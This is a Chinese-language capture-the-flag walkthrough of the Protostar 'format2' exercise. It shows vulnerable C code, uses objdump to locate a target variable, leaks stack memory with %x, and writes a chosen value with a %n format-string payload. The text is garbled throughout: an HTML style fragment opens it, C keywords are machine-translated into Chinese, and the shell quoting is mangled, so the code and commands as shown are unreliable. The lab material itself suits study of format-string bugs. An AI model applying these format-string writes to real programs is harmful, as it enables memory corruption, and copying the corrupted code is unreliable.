这一水平移动无“=薄拔蕹南?=按窒?="正常;=薄靶懈?=" 40 px;=" "颜色:=" rgb(=" 255, 255=" 255);="文本渲染:=" " optimizelegibility;=薄白痔宕笮?=" 31.5 px; background - color=薄?=薄皉gb(18日=" 20日=" 23);"=" "> #源代码包括& lt; stdlib.h>
# include & lt; unistd.h>
# include & lt; stdio.h>
# include & lt; string.h>
int目标;
空白vuln ()
{
字符缓冲区[512],
fgets(缓冲区,sizeof(缓冲),stdin);
printf(缓冲);
如果(目标==64){
,,,, printf("你修改了目标:\ n”);
}其他{
,,,, printf (" % d:目标(\ n”,目标);
}
}
int主要(int命令行参数个数,char * * argv)
{
vuln ();
}
这题与上题有点区别:1,传参改为fgets; 2、目标=64同样需要找到目标的位置user@protostar:/opt/原恒星objdump - t。美元/bin/format2 | grep目标
080496 e4 g ,,,,,,,.bss 阿,,,,00000004,,,,,,,,,,,,,,,,,,,,,,,,,,,,目标
同样先找出赋值动作的位置:user@protostar:/opt/原恒星/bin美元python - c '打印“aaaaaaaa”+“% x。”* 150“|/format2。
aaaaaaaa200.b7fd8420.bffff624.61616161.61616161.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.a2e78.b7eada75.b7fd7ff4.80496b0.bffff7c8.8048338.b7ff1040.80496b0.bffff7f8.80484f9.b7fd8304.b7fd7ff4.80484e0.bffff7f8.b7ec6365.b7ff1040.bffff7f8.80484c6.80484e0.0.bffff878.b7eadc76.1.bffff8a4.bffff8ac.b7fe1848.bffff860.ffffffff.b7ffeff4.8048285.1.bffff860.b7ff0626。目标是0
:
不错,这次很近。同样确认一下位置:user@protostar:/opt/原恒星/bin美元python - c“打印”aaaaaaaa % % % x % x”“|。/format2
aaaaaaaa200b7fd8420bffff62461616161
目标是0:(按照上一题的做法看看会发生什么事情:user@protostar:/opt/原恒星/bin美元python - c“打印”\ xe4 \ x96 \ x04 \ x08aaaa % x % x % % n”“|。/format2
aaaa200b7fd8420bffff624
目标是27:(好吧,这里已经成功更改了目标的值了,题目要求是64,只需要将% x固定长度输出即可:user@protostar:/opt/原恒星/bin美元python - c“打印”\ xe4 \ x96 \ x04 \ x08aaaa % 40 x % x % % n”“|。/format2
aaaa ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,200年b7fd8420bffff624
你修改了目标:)
